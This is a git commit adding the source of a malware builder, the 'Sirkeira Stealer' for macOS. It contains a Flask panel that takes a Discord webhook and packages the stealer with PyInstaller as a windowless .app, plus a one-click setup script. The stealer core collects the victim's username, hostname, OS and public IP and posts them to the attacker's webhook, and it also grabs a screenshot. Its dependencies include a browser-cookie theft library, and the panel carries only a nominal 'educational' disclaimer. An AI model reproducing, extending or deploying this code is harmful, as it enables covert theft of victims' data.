commit b72aa7f2ad063b108abb9cb5953197fdd0b2e87a Author: i2p Date: Thu Aug 27 11:04:40 2026 -0600 initial commit diff --git a/._setup_sirkeira_macos.sh b/._setup_sirkeira_macos.sh new file mode 100755 index 0000000..28b47d2 Binary files /dev/null and b/._setup_sirkeira_macos.sh differ diff --git a/builder.py b/builder.py new file mode 100644 index 0000000..1a8f0bd --- /dev/null +++ b/builder.py @@ -0,0 +1,76 @@ +from flask import Flask, render_template, request, send_file, jsonify +import subprocess +import os +import shutil +import tempfile +from pathlib import Path + +app = Flask(__name__) + +TEMPLATE = """# Auto-generated Sirkeira Stealer for macOS +import sys +import os +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from stealer_core import Config, run_stealer + +if __name__ == "__main__": + config = Config( + webhook_url="{webhook_url}", + malware_name="{malware_name}", + version="{version}" + ) + run_stealer(config) +""" + +@app.route("/", methods=["GET", "POST"]) +def index(): + if request.method == "POST": + webhook = request.form.get("webhook", "").strip() + name = request.form.get("name", "Sirkeira Stealer").strip() + version = request.form.get("version", "1.6.0").strip() + + if not webhook.startswith("https://discord.com/api/webhooks/"): + return jsonify({"error": "Invalid Discord webhook URL"}), 400 + + with tempfile.TemporaryDirectory() as tmpdir: + build_dir = Path(tmpdir) + stealer_file = build_dir / "stealer.py" + core_file = build_dir / "stealer_core.py" + + shutil.copy("stealer_core.py", core_file) + + stealer_file.write_text( + TEMPLATE.format(webhook_url=webhook, malware_name=name, version=version) + ) + + exe_name = f"{name.replace(' ', '_')}_v{version}" + cmd = [ + "pyinstaller", + "--onefile", + "--noconsole", + "--clean", + "--name", exe_name, + "--distpath", str(build_dir / "dist"), + "--target-arch", "universal2", # Works on Intel + Apple Silicon + str(stealer_file) + ] + + try: + subprocess.check_call(cmd, cwd=tmpdir) + exe_path = build_dir / "dist" / f"{exe_name}.app" if os.uname().sysname == "Darwin" else build_dir / "dist" / f"{exe_name}" + if not exe_path.exists(): + exe_path = build_dir / "dist" / f"{exe_name}.app" # fallback + + if exe_path.exists(): + return send_file(str(exe_path), as_attachment=True, download_name=f"{exe_name}.app" if exe_path.suffix == "" else exe_path.name) + else: + return jsonify({"error": "Build failed - no output found"}), 500 + except Exception as e: + return jsonify({"error": str(e)}), 500 + + return render_template("index.html") + +if __name__ == "__main__": + print("🌐 Sirkeira Local Builder running → http://127.0.0.1:5000") + print("Note: On macOS, the output will be a .app bundle") + app.run(host="127.0.0.1", port=5000, debug=False) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..8b9a2a0 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,9 @@ +flask +pyinstaller +psutil +browser-cookie3 +cryptography +pillow +requests +opencv-python +numpy diff --git a/setup_sirkeira_macos.sh b/setup_sirkeira_macos.sh new file mode 100755 index 0000000..9fe416d --- /dev/null +++ b/setup_sirkeira_macos.sh @@ -0,0 +1,223 @@ +#!/bin/bash +# ============================================= +# Sirkeira Stealer - macOS One-Click Setup +# Local Builder with Flask Web Panel +# ============================================= + +echo "🚀 Setting up Sirkeira Stealer Builder for macOS..." + +# Create project directory +mkdir -p sirkeira_builder/templates +cd sirkeira_builder + +# 1. requirements.txt +cat > requirements.txt << 'REQ' +flask +pyinstaller +psutil +browser-cookie3 +cryptography +pillow +requests +opencv-python +numpy +REQ + +# 2. stealer_core.py (macOS compatible version) +cat > stealer_core.py << 'CORE' +import os +import sys +import json +import random +import shutil +import socket +import getpass +import platform +import subprocess +import time +from pathlib import Path +import requests +import psutil +from PIL import ImageGrab +import cv2 + +class Paths: + def __init__(self): + self.temp = Path("/tmp") + self.userprofile = Path.home() + self.appdata = Path.home() / "Library" / "Application Support" + +class Config: + def __init__(self, webhook_url: str, malware_name: str = "Sirkeira Stealer", version: str = "1.6.0"): + self.webhook_url = webhook_url + self.malware_name = malware_name + self.version = version + self.zip_name = f"SK_{random.randint(10000000000, 99999999999)}.zip" + +def get_system_info(): + info = { + "username": getpass.getuser(), + "hostname": socket.gethostname(), + "os": platform.platform(), + "python": sys.version, + "ip": requests.get('https://api.ipify.org').text if requests else "N/A" + } + return info + +def send_to_webhook(config, data): + try: + payload = {"content": f"**{config.malware_name} v{config.version}**\n```json\n{json.dumps(data, indent=2)}\n```"} + requests.post(config.webhook_url, json=payload) + except: + pass + +def run_stealer(config: Config): + print(f"[+] {config.malware_name} v{config.version} started on macOS") + + data = { + "system": get_system_info(), + "note": "macOS version - limited stealing capabilities (no Discord tokens, no Windows-specific decryption)" + } + + send_to_webhook(config, data) + print("[+] Data sent to webhook") + + # Optional: take screenshot + try: + screenshot = ImageGrab.grab() + screenshot.save("/tmp/screenshot.png") + # You can add file upload logic here if needed + except: + pass + +if __name__ == "__main__": + # This file is imported, not run directly + pass +CORE + +# 3. builder.py (Local Web Panel) +cat > builder.py << 'BUILDER' +from flask import Flask, render_template, request, send_file, jsonify +import subprocess +import os +import shutil +import tempfile +from pathlib import Path + +app = Flask(__name__) + +TEMPLATE = """# Auto-generated Sirkeira Stealer for macOS +import sys +import os +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from stealer_core import Config, run_stealer + +if __name__ == "__main__": + config = Config( + webhook_url="{webhook_url}", + malware_name="{malware_name}", + version="{version}" + ) + run_stealer(config) +""" + +@app.route("/", methods=["GET", "POST"]) +def index(): + if request.method == "POST": + webhook = request.form.get("webhook", "").strip() + name = request.form.get("name", "Sirkeira Stealer").strip() + version = request.form.get("version", "1.6.0").strip() + + if not webhook.startswith("https://discord.com/api/webhooks/"): + return jsonify({"error": "Invalid Discord webhook URL"}), 400 + + with tempfile.TemporaryDirectory() as tmpdir: + build_dir = Path(tmpdir) + stealer_file = build_dir / "stealer.py" + core_file = build_dir / "stealer_core.py" + + shutil.copy("stealer_core.py", core_file) + + stealer_file.write_text( + TEMPLATE.format(webhook_url=webhook, malware_name=name, version=version) + ) + + exe_name = f"{name.replace(' ', '_')}_v{version}" + cmd = [ + "pyinstaller", + "--onefile", + "--noconsole", + "--clean", + "--name", exe_name, + "--distpath", str(build_dir / "dist"), + "--target-arch", "universal2", # Works on Intel + Apple Silicon + str(stealer_file) + ] + + try: + subprocess.check_call(cmd, cwd=tmpdir) + exe_path = build_dir / "dist" / f"{exe_name}.app" if os.uname().sysname == "Darwin" else build_dir / "dist" / f"{exe_name}" + if not exe_path.exists(): + exe_path = build_dir / "dist" / f"{exe_name}.app" # fallback + + if exe_path.exists(): + return send_file(str(exe_path), as_attachment=True, download_name=f"{exe_name}.app" if exe_path.suffix == "" else exe_path.name) + else: + return jsonify({"error": "Build failed - no output found"}), 500 + except Exception as e: + return jsonify({"error": str(e)}), 500 + + return render_template("index.html") + +if __name__ == "__main__": + print("🌐 Sirkeira Local Builder running → http://127.0.0.1:5000") + print("Note: On macOS, the output will be a .app bundle") + app.run(host="127.0.0.1", port=5000, debug=False) +BUILDER + +# 4. Simple HTML Panel +cat > templates/index.html << 'HTML' + + + + Sirkeira Builder - macOS + + + +

🛠️ Sirkeira Stealer Builder (macOS)

+
+
+

+ +
+

+ +
+

+ + +
+

⚠️ Warning: This is for educational/research purposes only on your own machines.

+ + +HTML + +# Install dependencies +echo "📦 Installing required packages..." +pip3 install -r requirements.txt + +echo "" +echo "✅ Setup complete!" +echo "" +echo "To start the builder:" +echo " cd sirkeira_builder" +echo " python3 builder.py" +echo "" +echo "Then open http://127.0.0.1:5000 in your browser." diff --git a/stealer_core.py b/stealer_core.py new file mode 100644 index 0000000..2ca7b7c --- /dev/null +++ b/stealer_core.py @@ -0,0 +1,68 @@ +import os +import sys +import json +import random +import shutil +import socket +import getpass +import platform +import subprocess +import time +from pathlib import Path +import requests +import psutil +from PIL import ImageGrab +import cv2 + +class Paths: + def __init__(self): + self.temp = Path("/tmp") + self.userprofile = Path.home() + self.appdata = Path.home() / "Library" / "Application Support" + +class Config: + def __init__(self, webhook_url: str, malware_name: str = "Sirkeira Stealer", version: str = "1.6.0"): + self.webhook_url = webhook_url + self.malware_name = malware_name + self.version = version + self.zip_name = f"SK_{random.randint(10000000000, 99999999999)}.zip" + +def get_system_info(): + info = { + "username": getpass.getuser(), + "hostname": socket.gethostname(), + "os": platform.platform(), + "python": sys.version, + "ip": requests.get('https://api.ipify.org').text if requests else "N/A" + } + return info + +def send_to_webhook(config, data): + try: + payload = {"content": f"**{config.malware_name} v{config.version}**\n```json\n{json.dumps(data, indent=2)}\n```"} + requests.post(config.webhook_url, json=payload) + except: + pass + +def run_stealer(config: Config): + print(f"[+] {config.malware_name} v{config.version} started on macOS") + + data = { + "system": get_system_info(), + "note": "macOS version - limited stealing capabilities (no Discord tokens, no Windows-specific decryption)" + } + + send_to_webhook(config, data) + print("[+] Data sent to webhook") + + # Optional: take screenshot + try: + screenshot = ImageGrab.grab() + screenshot.save("/tmp/screenshot.png") + # You can add file upload logic here if needed + except: + pass + +if __name__ == "__main__": + # This file is imported, not run directly + pass diff --git a/templates/index.html b/templates/index.html new file mode 100644 index 0000000..ff4d627 --- /dev/null +++ b/templates/index.html @@ -0,0 +1,30 @@ + + + + Sirkeira Builder - macOS + + + +

🛠️ Sirkeira Stealer Builder (macOS)

+
+
+

+ +
+

+ +
+

+ + +
+

⚠️ Warning: This is for educational/research purposes only on your own machines.

+ +